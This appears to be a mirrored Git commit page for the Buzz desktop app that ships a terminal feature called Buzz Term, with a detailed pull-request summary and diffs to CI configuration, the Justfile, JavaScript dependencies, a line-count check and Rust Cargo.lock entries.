mirror of
https://github.com/block/buzz.git
synced 2026-10-27 04:30:52 +00:00
feat: ship Buzz Term (#4347)
## Summary - ship **Buzz Term** end to end: the terminal engine/runtime, mounted desktop substrate, and user-visible naming - add Quinn's tape-deck-inspired banner: a beveled chassis filled by the `buzz term` wordmark, surrounded by a complete-hex field - derive the wordmark's three-stop sweep from each theme's terminal palette so primary, secondary, and accent roles remain visibly distinct across all 62 shipped themes, including light themes - paint the banner once on its own pointer-transparent canvas; PTY rendering beneath it remains unchanged ## Banner behavior - uses the renderer's shared `8.4 × 17` cell metrics and production aspect ratio `2.0238` - regenerates only for viewport/theme changes; palette switches repaint correctly while the banner is visible - dismisses on non-empty output from the active terminal session; empty output and inactive sessions do not dismiss it - fails closed below **70 columns** rather than squeezing or clipping the wordmark - adds **8 lines** to `terminalRenderer.ts` for shared cell metrics and **zero lines inside `paint()`** ## Screenshots | Buzz (light) | Buzz Dark | |---|---| |  |  | | Kanagawa Lotus (light) | Red | |---|---| |  |  | Additional production-aspect finals: [Vesper](https://buzz.block.builderlab.xyz/media/9ca6514b63f8cfb2107a85ca46f16a940c0883848e6fbc718e411af94aa13100.png), [Min Dark](https://buzz.block.builderlab.xyz/media/f67bd2970e5d64ffb07b1ae78ab58c847e6ebc23e7e7a48e067eb024dba64ec8.png), and [Dark Plus](https://buzz.block.builderlab.xyz/media/290fee08924f37d064abc687ecf3e9526ab05b87e8e56d610f23048949793dbe.png). The screenshot harness was checked against the shipped painter at this exact head: all **2,541 draw calls** matched on color, glyph, x, and y; four deliberate divergence controls fired. ## Verification at `98ebc8f9048bd5f0ceb7e843b67874d642f0b7fd` - desktop tests: **3,946 / 3,946** - TypeScript: clean - checks: pass (two pre-existing informational `useTemplate` notices only) - integration/e2e: PASS (independent exact-SHA lane; artifacts recorded in the originating Buzz thread) - artifact/dead-path sweep: clean - redteam G1–G7: PASS - all six named banner emitter-deletion mutants die - independent handwritten five-row full-wordmark fixture kills Quinn's seven-mutant battery, including a one-pixel glyph change - real `112 × 46` canvas-rect dismissal tests separately cover active non-empty, active empty, and inactive non-empty output - layer-drop and zero-draw painter mutants die; z-order and pointer-events verified - CI's `tsc && vite build` includes all three banner modules - performance at DPR 2 (worst-case measured envelope): - one-time content paint: **~0.7–0.8 ms**, paid only when the banner is built or its palette changes - busy compositor, CSS `1277 × 697`, backing `2554 × 1394`: **470–497 µs/frame** for the full banner (**2.82–2.98%** of a 60 Hz frame) - busy compositor, CSS `1920 × 1080`, backing `3840 × 2160`: **1,139–1,212 µs/frame** (**6.83–7.27%**) - empty, one-glyph, and full-banner controls converge: compositor cost follows backing-layer area and DPR rather than painted-cell count - in the actual idle welcome state, cost is below both vsync-clamped rigs' resolution; it is not claimed as zero - **Pane cross-rig spread: resolved at matched loop rate.** Two independent rigs initially differed 2.3× (58–68 vs 136 µs/Mpx of backing store; pane, CSS 1277×697 / backing 2554×1394, DPR 2). The cause of *that* spread is rAF loop rate: the higher figure came from a free-running loop at ~1600fps. Throttled to ~200–236fps, both rigs read 58–68 µs/Mpx (1.25–1.44% of a 60Hz frame). The busy-composite figures quoted above remain the **unthrottled worst case** and are conservative by ~2.3× at the pane. Not established: the mechanism and sign of free-running distortion (one rig under-charges ~15%, the other over-charges 2.3×), and the 1080p figure has not been re-measured throttled. - the layer paints only on generation/theme/resize and dismisses on first non-empty active-session output, so the measurable busy cost is a short-lived worst case rather than a persistent PTY paint-path tax ## Follow-ups in this PR These are intentionally subsequent commits after the certified static-banner head, not claims about `98ebc8f90`: 1. close the compositor metrology: remeasure the 1080p point throttled and characterize the opposite-sign free-running rAF distortion, with each measurement regime stated 2. add Tyler's animated honeycomb color waves, gated by `prefers-reduced-motion`, a full 62-theme phase-sweep contrast check, and DPR-2 per-tick performance certification 3. land the already-proven mounted theme-switch regression probe from `RESEARCH/BUZZ_TERM_G3A_PROBE/` 4. bound the slow/hang-shaped G1-c mutant `waitFor` 5. optionally trim the generator to its ink bounding box, reducing the minimum viewport from 70 to 62 columns --------- Signed-off-by: tlongwell-block <109685178+tlongwell-block@users.noreply.github.com> Signed-off-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz> Signed-off-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz> Signed-off-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz> Signed-off-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz> Co-authored-by: Dawn (sprout agent) <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@sprout-oss.stage.blox.sqprod.co> Co-authored-by: npub1t2tgm7d8f995uqvmnm8h88sg3wnpp9a5xysjf6dg3tjmgt3ltulqdp8ehr <5a968df9a7494b4e019b9ecf739e088ba61097b4312124e9a88ae5b42e3f5f3e@buzz.block.builderlab.xyz> Co-authored-by: npub1cc3ha7z055mu0rwwu7806t2wt8mj3pvu0uv5mfp2c50dahaqhczshdalg6 <c6237ef84fa537c78dcee78efd2d4e59f728859c7f194da42ac51ededfa0be05@buzz.block.builderlab.xyz> Co-authored-by: npub17jjz49l9jjmhhk7cac63j8yt9z555n9cw8vk7v5jz4vzw4ppld5qgj57cc <f4a42a97e594b77bdbd8ee35191c8b28a94a4cb871d96f32921558275421fb68@buzz.block.builderlab.xyz> Co-authored-by: npub1jh9wn95s0472h86ahapupaf7m6kx4v9sx2n0atj2hltcfer8k06s5n3pyf <95cae996907d7cab9f5dbf43c0f53edeac6ab0b032a6feae4abfd784e467b3f5@buzz.block.builderlab.xyz> Co-authored-by: npub1mprnacetjua2xx3p5eddmhxyk6wv929ymm5py8kd2xfxurxahspqqlgyta <d8473ee32b973aa31a21a65adddcc4b69cc2a8a4dee8121ecd51926e0cddbc02@buzz.block.builderlab.xyz> Co-authored-by: npub1qyvc0c5kl4gqv2fd97fsk46tu378sqgy35vc83rvgfwne90sel7s0ed67d <011987e296fd5006292d2f930b574be47c7801048d1983c46c425d3c95f0cffd@buzz.block.builderlab.xyz>
This commit is contained in:
2
.github/workflows/ci.yml
vendored
2
.github/workflows/ci.yml
vendored
@@ -1023,7 +1023,7 @@ jobs:
|
|||||||
git log -1 --format=%s | grep -qx smoke
|
git log -1 --format=%s | grep -qx smoke
|
||||||
echo "Host bash resolved and functional; git commit round-trip passed"
|
echo "Host bash resolved and functional; git commit round-trip passed"
|
||||||
- name: Check (Tauri crate)
|
- name: Check (Tauri crate)
|
||||||
run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --target $env:TARGET
|
run: cargo check --manifest-path desktop/src-tauri/Cargo.toml --workspace --all-targets --target $env:TARGET
|
||||||
env:
|
env:
|
||||||
CMAKE_POLICY_VERSION_MINIMUM: "3.5"
|
CMAKE_POLICY_VERSION_MINIMUM: "3.5"
|
||||||
- name: Test (Tauri crate)
|
- name: Test (Tauri crate)
|
||||||
|
|||||||
10
Justfile
10
Justfile
@@ -196,7 +196,7 @@ _ensure-migrations: _ensure-services
|
|||||||
|
|
||||||
# Run clippy on the desktop Tauri Rust crate
|
# Run clippy on the desktop Tauri Rust crate
|
||||||
desktop-tauri-clippy: _ensure-sidecar-stubs
|
desktop-tauri-clippy: _ensure-sidecar-stubs
|
||||||
cargo clippy --manifest-path {{desktop_tauri_manifest}} --all-targets -- -D warnings
|
cargo clippy --manifest-path {{desktop_tauri_manifest}} --workspace --all-targets -- -D warnings
|
||||||
|
|
||||||
# Check the desktop Tauri Rust crate compiles
|
# Check the desktop Tauri Rust crate compiles
|
||||||
desktop-tauri-check: _ensure-sidecar-stubs
|
desktop-tauri-check: _ensure-sidecar-stubs
|
||||||
@@ -204,7 +204,13 @@ desktop-tauri-check: _ensure-sidecar-stubs
|
|||||||
|
|
||||||
# Run desktop Tauri Rust unit tests
|
# Run desktop Tauri Rust unit tests
|
||||||
desktop-tauri-test: _ensure-sidecar-stubs
|
desktop-tauri-test: _ensure-sidecar-stubs
|
||||||
cd desktop/src-tauri && cargo test
|
cd desktop/src-tauri && cargo test --workspace
|
||||||
|
|
||||||
|
# Run the native terminal latency gate explicitly on a known-idle host.
|
||||||
|
# This is intentionally excluded from shared CI: scheduler contention makes a
|
||||||
|
# wall-clock assertion flaky, and the release profile is the shipped shape.
|
||||||
|
desktop-terminal-performance-test:
|
||||||
|
cargo test --manifest-path desktop/src-tauri/crates/buzz-terminal/Cargo.toml --release --test latency g3_renderer_acquire_stays_within_frame_budget -- --ignored --exact --nocapture
|
||||||
|
|
||||||
# Verify compiled-flag behavior under both compile states (clean + internal).
|
# Verify compiled-flag behavior under both compile states (clean + internal).
|
||||||
# Runs the observer_archive focused test twice with independently supplied
|
# Runs the observer_archive focused test twice with independently supplied
|
||||||
|
|||||||
@@ -30,6 +30,7 @@
|
|||||||
"@emoji-mart/data": "^1.2.1",
|
"@emoji-mart/data": "^1.2.1",
|
||||||
"@emoji-mart/react": "^1.1.1",
|
"@emoji-mart/react": "^1.1.1",
|
||||||
"@fontsource-variable/inter": "^5.2.8",
|
"@fontsource-variable/inter": "^5.2.8",
|
||||||
|
"@fontsource/jetbrains-mono": "^5.3.0",
|
||||||
"@mediapipe/tasks-vision": "^0.10.35",
|
"@mediapipe/tasks-vision": "^0.10.35",
|
||||||
"@radix-ui/react-alert-dialog": "^1.1.15",
|
"@radix-ui/react-alert-dialog": "^1.1.15",
|
||||||
"@radix-ui/react-avatar": "^1.1.11",
|
"@radix-ui/react-avatar": "^1.1.11",
|
||||||
@@ -90,9 +91,11 @@
|
|||||||
"@tanstack/router-plugin": "^1.167.12",
|
"@tanstack/router-plugin": "^1.167.12",
|
||||||
"@tanstack/virtual-file-routes": "^1.161.7",
|
"@tanstack/virtual-file-routes": "^1.161.7",
|
||||||
"@tauri-apps/cli": "~2.11",
|
"@tauri-apps/cli": "~2.11",
|
||||||
|
"@testing-library/react": "^16.3.2",
|
||||||
"@types/react": "^19.1.8",
|
"@types/react": "^19.1.8",
|
||||||
"@types/react-dom": "^19.1.6",
|
"@types/react-dom": "^19.1.6",
|
||||||
"@vitejs/plugin-react": "^6.0.0",
|
"@vitejs/plugin-react": "^6.0.0",
|
||||||
|
"jsdom": "^27.4.0",
|
||||||
"nostr-tools": "^2.23.3",
|
"nostr-tools": "^2.23.3",
|
||||||
"postcss": "^8.5.8",
|
"postcss": "^8.5.8",
|
||||||
"tailwindcss": "^4.3.0",
|
"tailwindcss": "^4.3.0",
|
||||||
|
|||||||
@@ -94,6 +94,7 @@ export default defineConfig({
|
|||||||
"**/live-broadcast-reply-timeline.spec.ts",
|
"**/live-broadcast-reply-timeline.spec.ts",
|
||||||
"**/markdown-parse-cache.spec.ts",
|
"**/markdown-parse-cache.spec.ts",
|
||||||
"**/overscroll-boundary.spec.ts",
|
"**/overscroll-boundary.spec.ts",
|
||||||
|
"**/terminal-wheel.spec.ts",
|
||||||
"**/cold-switch-longtask.perf.ts",
|
"**/cold-switch-longtask.perf.ts",
|
||||||
"**/timeline-no-shift.spec.ts",
|
"**/timeline-no-shift.spec.ts",
|
||||||
"**/human-edit-agent-content.spec.ts",
|
"**/human-edit-agent-content.spec.ts",
|
||||||
|
|||||||
@@ -9,6 +9,14 @@ const MAX_LINES = 1000;
|
|||||||
|
|
||||||
const rules = [
|
const rules = [
|
||||||
{ root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES },
|
{ root: "src-tauri/src", extensions: new Set([".rs"]), maxLines: MAX_LINES },
|
||||||
|
// Workspace member crates. Without this the ratchet's only Rust root is
|
||||||
|
// `src-tauri/src`, and a crate under `src-tauri/crates/` is born outside the
|
||||||
|
// repo's one size discipline -- silently, since the check still exits 0.
|
||||||
|
{
|
||||||
|
root: "src-tauri/crates",
|
||||||
|
extensions: new Set([".rs"]),
|
||||||
|
maxLines: MAX_LINES,
|
||||||
|
},
|
||||||
{
|
{
|
||||||
root: "src/app",
|
root: "src/app",
|
||||||
extensions: new Set([".ts", ".tsx"]),
|
extensions: new Set([".ts", ".tsx"]),
|
||||||
|
|||||||
198
desktop/src-tauri/Cargo.lock
generated
198
desktop/src-tauri/Cargo.lock
generated
@@ -98,6 +98,30 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "alacritty_terminal"
|
||||||
|
version = "0.26.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bda177466b9524d59f1b12f0dd30b68696788e9992a7e959021c4a0ed96fcf59"
|
||||||
|
dependencies = [
|
||||||
|
"base64 0.22.1",
|
||||||
|
"bitflags 2.13.0",
|
||||||
|
"home",
|
||||||
|
"libc",
|
||||||
|
"log",
|
||||||
|
"miow",
|
||||||
|
"parking_lot",
|
||||||
|
"piper",
|
||||||
|
"polling",
|
||||||
|
"regex-automata",
|
||||||
|
"rustix 1.1.4",
|
||||||
|
"rustix-openpty",
|
||||||
|
"signal-hook 0.4.4",
|
||||||
|
"unicode-width 0.2.2",
|
||||||
|
"vte 0.15.0",
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "alloc-no-stdlib"
|
name = "alloc-no-stdlib"
|
||||||
version = "2.0.4"
|
version = "2.0.4"
|
||||||
@@ -1050,6 +1074,7 @@ dependencies = [
|
|||||||
"buzz-media",
|
"buzz-media",
|
||||||
"buzz-persona",
|
"buzz-persona",
|
||||||
"buzz-sdk",
|
"buzz-sdk",
|
||||||
|
"buzz-terminal",
|
||||||
"buzz-voice",
|
"buzz-voice",
|
||||||
"bytes",
|
"bytes",
|
||||||
"bzip2 0.6.1",
|
"bzip2 0.6.1",
|
||||||
@@ -1082,6 +1107,7 @@ dependencies = [
|
|||||||
"opus",
|
"opus",
|
||||||
"plist",
|
"plist",
|
||||||
"png 0.18.1",
|
"png 0.18.1",
|
||||||
|
"portable-pty",
|
||||||
"regex",
|
"regex",
|
||||||
"reqwest 0.13.4",
|
"reqwest 0.13.4",
|
||||||
"rodio",
|
"rodio",
|
||||||
@@ -1176,6 +1202,16 @@ dependencies = [
|
|||||||
"uuid",
|
"uuid",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "buzz-terminal"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"alacritty_terminal",
|
||||||
|
"libc",
|
||||||
|
"parking_lot",
|
||||||
|
"portable-pty",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "buzz-voice"
|
name = "buzz-voice"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
@@ -1392,6 +1428,12 @@ version = "1.0.4"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg_aliases"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cfg_aliases"
|
name = "cfg_aliases"
|
||||||
version = "0.2.1"
|
version = "0.2.1"
|
||||||
@@ -1884,7 +1926,7 @@ dependencies = [
|
|||||||
"mio",
|
"mio",
|
||||||
"parking_lot",
|
"parking_lot",
|
||||||
"rustix 0.38.44",
|
"rustix 0.38.44",
|
||||||
"signal-hook",
|
"signal-hook 0.3.18",
|
||||||
"signal-hook-mio",
|
"signal-hook-mio",
|
||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
@@ -1902,7 +1944,7 @@ dependencies = [
|
|||||||
"mio",
|
"mio",
|
||||||
"parking_lot",
|
"parking_lot",
|
||||||
"rustix 1.1.4",
|
"rustix 1.1.4",
|
||||||
"signal-hook",
|
"signal-hook 0.3.18",
|
||||||
"signal-hook-mio",
|
"signal-hook-mio",
|
||||||
"winapi",
|
"winapi",
|
||||||
]
|
]
|
||||||
@@ -2069,6 +2111,12 @@ dependencies = [
|
|||||||
"cmov",
|
"cmov",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cursor-icon"
|
||||||
|
version = "1.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "curve25519-dalek"
|
name = "curve25519-dalek"
|
||||||
version = "4.1.3"
|
version = "4.1.3"
|
||||||
@@ -2587,7 +2635,7 @@ dependencies = [
|
|||||||
"rustc_version",
|
"rustc_version",
|
||||||
"toml 1.1.2+spec-1.1.0",
|
"toml 1.1.2+spec-1.1.0",
|
||||||
"vswhom",
|
"vswhom",
|
||||||
"winreg",
|
"winreg 0.55.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -4266,7 +4314,7 @@ dependencies = [
|
|||||||
"backon",
|
"backon",
|
||||||
"blake3",
|
"blake3",
|
||||||
"bytes",
|
"bytes",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"ctutils",
|
"ctutils",
|
||||||
"data-encoding",
|
"data-encoding",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
@@ -4334,7 +4382,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a"
|
checksum = "516e4eedc38e33ab69a6bd325520332dc3d67b25454e2d590ebb84a25240dd9a"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"arc-swap",
|
"arc-swap",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
"hickory-resolver",
|
"hickory-resolver",
|
||||||
"iroh-base",
|
"iroh-base",
|
||||||
@@ -4386,7 +4434,7 @@ checksum = "8149bb6a57126225a07d6928846d82dcedfd24ea0f863ef7b2eb475e1d726354"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"blake3",
|
"blake3",
|
||||||
"bytes",
|
"bytes",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"data-encoding",
|
"data-encoding",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
"getrandom 0.4.3",
|
"getrandom 0.4.3",
|
||||||
@@ -5587,6 +5635,15 @@ dependencies = [
|
|||||||
"windows-sys 0.61.2",
|
"windows-sys 0.61.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "miow"
|
||||||
|
version = "0.6.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "536bfad37a309d62069485248eeaba1e8d9853aaf951caaeaed0585a95346f08"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "model-artifact"
|
name = "model-artifact"
|
||||||
version = "0.74.0"
|
version = "0.74.0"
|
||||||
@@ -5779,7 +5836,7 @@ version = "0.3.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe"
|
checksum = "e2ab99dfb861450e68853d34ae665243a88b8c493d01ba957321a1e9b2312bbe"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
"futures-buffered",
|
"futures-buffered",
|
||||||
"futures-lite",
|
"futures-lite",
|
||||||
@@ -5969,7 +6026,7 @@ checksum = "4d9cbe01741347ef750d743d6690603f5eed8341e679fb51c8e629337aa11976"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"atomic-waker",
|
"atomic-waker",
|
||||||
"bytes",
|
"bytes",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
"ipnet",
|
"ipnet",
|
||||||
"js-sys",
|
"js-sys",
|
||||||
@@ -6004,6 +6061,18 @@ version = "1.0.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
|
checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nix"
|
||||||
|
version = "0.28.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.13.0",
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"cfg_aliases 0.1.1",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "nix"
|
name = "nix"
|
||||||
version = "0.29.0"
|
version = "0.29.0"
|
||||||
@@ -6012,7 +6081,7 @@ checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"bitflags 2.13.0",
|
"bitflags 2.13.0",
|
||||||
"cfg-if 1.0.4",
|
"cfg-if 1.0.4",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"libc",
|
"libc",
|
||||||
"memoffset",
|
"memoffset",
|
||||||
]
|
]
|
||||||
@@ -6025,7 +6094,7 @@ checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"bitflags 2.13.0",
|
"bitflags 2.13.0",
|
||||||
"cfg-if 1.0.4",
|
"cfg-if 1.0.4",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -6037,7 +6106,7 @@ checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"bitflags 2.13.0",
|
"bitflags 2.13.0",
|
||||||
"cfg-if 1.0.4",
|
"cfg-if 1.0.4",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -6067,7 +6136,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89"
|
checksum = "4bf95190af1bd4a00a10e8255ca0c8ddd9e9a9f5e79151d7a7eb6d56aff5dc89"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bytes",
|
"bytes",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"derive_more",
|
"derive_more",
|
||||||
"noq-proto",
|
"noq-proto",
|
||||||
"noq-udp",
|
"noq-udp",
|
||||||
@@ -6115,7 +6184,7 @@ version = "1.0.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e"
|
checksum = "3137a52df66c20090a889828d1c655f21f52294cba64e5c4fbb04fc83eee7c8e"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"libc",
|
"libc",
|
||||||
"socket2",
|
"socket2",
|
||||||
"tracing",
|
"tracing",
|
||||||
@@ -7427,6 +7496,27 @@ dependencies = [
|
|||||||
"portable-atomic",
|
"portable-atomic",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "portable-pty"
|
||||||
|
version = "0.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b4a596a2b3d2752d94f51fac2d4a96737b8705dddd311a32b9af47211f08671e"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"bitflags 1.3.2",
|
||||||
|
"downcast-rs",
|
||||||
|
"filedescriptor",
|
||||||
|
"lazy_static",
|
||||||
|
"libc",
|
||||||
|
"log",
|
||||||
|
"nix 0.28.0",
|
||||||
|
"serial2",
|
||||||
|
"shared_library",
|
||||||
|
"shell-words",
|
||||||
|
"winapi",
|
||||||
|
"winreg 0.10.1",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "portmapper"
|
name = "portmapper"
|
||||||
version = "0.19.1"
|
version = "0.19.1"
|
||||||
@@ -7882,7 +7972,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
|
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bytes",
|
"bytes",
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
"quinn-proto",
|
"quinn-proto",
|
||||||
"quinn-udp",
|
"quinn-udp",
|
||||||
@@ -7924,7 +8014,7 @@ version = "0.5.15"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"
|
checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg_aliases",
|
"cfg_aliases 0.2.1",
|
||||||
"libc",
|
"libc",
|
||||||
"once_cell",
|
"once_cell",
|
||||||
"socket2",
|
"socket2",
|
||||||
@@ -8663,6 +8753,17 @@ dependencies = [
|
|||||||
"windows-sys 0.61.2",
|
"windows-sys 0.61.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix-openpty"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1de16c7c59892b870a6336f185dc10943517f1327447096bbb7bb32cd85e2393"
|
||||||
|
dependencies = [
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"rustix 1.1.4",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustls"
|
name = "rustls"
|
||||||
version = "0.23.42"
|
version = "0.23.42"
|
||||||
@@ -9208,6 +9309,17 @@ dependencies = [
|
|||||||
"serde",
|
"serde",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serial2"
|
||||||
|
version = "0.2.38"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b16809bc35793b19ce4e0c53924bc0dce3937f15487997cfdaed936004180730"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"libc",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serialize-to-javascript"
|
name = "serialize-to-javascript"
|
||||||
version = "0.1.2"
|
version = "0.1.2"
|
||||||
@@ -9308,6 +9420,22 @@ dependencies = [
|
|||||||
"lazy_static",
|
"lazy_static",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shared_library"
|
||||||
|
version = "0.1.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11"
|
||||||
|
dependencies = [
|
||||||
|
"lazy_static",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shell-words"
|
||||||
|
version = "1.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shellexpand"
|
name = "shellexpand"
|
||||||
version = "3.1.2"
|
version = "3.1.2"
|
||||||
@@ -9357,6 +9485,16 @@ dependencies = [
|
|||||||
